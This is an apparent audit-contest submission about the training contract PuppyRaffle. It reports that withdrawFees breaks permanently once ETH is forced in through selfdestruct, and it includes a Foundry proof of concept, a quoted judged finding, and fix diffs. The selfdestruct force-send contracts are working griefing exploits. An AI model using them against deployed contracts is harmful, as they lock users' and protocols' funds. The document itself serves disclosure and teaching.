Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

withdrawFees requires an exact ETH balance match, so 1 wei of forced ETH locks all fees permanently

thedelph

Summary

withdrawFees uses address(this).balance == totalFees as its "no active players" check. Anyone can push ETH into the contract without calling any of its functions, using selfdestruct or a coinbase reward. Once the balance exceeds totalFees by even 1 wei, the check fails forever. Nothing in the contract can remove the extra ETH, so every current and future protocol fee is locked.

Description

src/PuppyRaffle.sol:157-163:

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

  • selfdestruct(payable(raffle)) sends ETH without invoking a receive or fallback, so the contract can't reject it.

  • Every outflow is an exact computed amount: refund pays entranceFee, selectWinner pays prizePool, and withdrawFees pays totalFees. None of them can absorb the extra wei, so the inequality is permanent.

Risk

Likelihood: Low — an attacker must deliberately force ETH in (e.g. selfdestruct) at their own cost.

Impact: High

The protocol permanently loses access to all accrued and future fees. The attack costs 1 wei plus gas and is permissionless. The attacker gains nothing, so this is griefing: rated Medium (the protocol's funds are locked, with no theft).

Proof of Concept

test/PuppyRaffleAudit.t.sol::test_PoC_ForcedEtherLocksWithdrawFees

contract ForceSend {
constructor(address payable target) payable { selfdestruct(target); }
}
​
function test_PoC_ForcedEtherLocksWithdrawFees() public {
_enter(1, 4);
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
assertEq(address(puppyRaffle).balance, uint256(puppyRaffle.totalFees())); // 0.8 ETH == 0.8 ETH
​
new ForceSend{value: 1 wei}(payable(address(puppyRaffle)));
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Run:

forge test --match-test test_PoC_ForcedEtherLocksWithdrawFees -vvv

The output is in poc.txt.

Recommended Mitigation

Don't gate withdrawal on the raw balance. Check round state explicitly and withdraw only the tracked totalFees.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Since fees are tracked separately from the pot, withdrawing totalFees mid-round would also be safe, so the round check could be dropped entirely.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 41 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!